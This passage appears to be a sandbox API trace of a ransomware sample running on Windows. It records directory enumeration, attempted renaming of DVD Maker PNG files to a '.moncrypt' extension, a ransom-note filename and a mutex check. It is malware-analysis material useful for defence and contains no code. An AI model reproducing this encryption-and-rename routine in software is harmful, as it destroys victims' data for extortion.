lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.333] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.333] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\16to9Squareframe_Buttongraphic.pngt", lpUsedDefaultChar=0x0) returned 4 [0057.333] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0057.333] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ed70*=0x1, lpOverlapped=0x0) returned 1 [0057.334] CloseHandle (hObject=0x188) returned 1 [0057.335] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\я")) returned 1 [0057.335] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 0x54e240 [0057.336] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0057.336] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0057.336] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.336] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png", dwFileAttributes=0x20) returned 0 [0057.337] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.337] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.moncrypt")) returned 0 [0057.337] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.337] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.337] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.337] GlobalLock (hMem=0x440004) returned 0x550170 [0057.337] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.337] GlobalUnlock (hMem=0x440004) returned 0 [0057.338] GlobalLock (hMem=0x440004) returned 0x550170 [0057.338] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.338] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.338] GlobalUnlock (hMem=0x440004) returned 0 [0057.338] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.338] GlobalUnlock (hMem=0x44000c) returned 0 [0057.338] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.338] CharLowerBuffW (in: lpsz="16to9Squareframe_SelectionSubpicture.png", cchLength=0x28 | out: lpsz="16to9squareframe_selectionsubpicture.png") returned 0x28 [0057.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.339] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png", cchWideChar=84, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png ", lpUsedDefaultChar=0x0) returned 84 [0057.339] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\16to9Squareframe_SelectionSubpicture.png ", lpUsedDefaultChar=0x0) returned 4 [0057.340] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e240 [0057.340] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0057.340] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0057.340] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.340] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0057.340] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.340] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.moncrypt")) returned 0 [0057.341] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0057.341] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.341] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.341] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.341] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.341] GlobalUnlock (hMem=0x44000c) returned 0 [0057.341] GlobalLock (hMem=0x44000c) returned 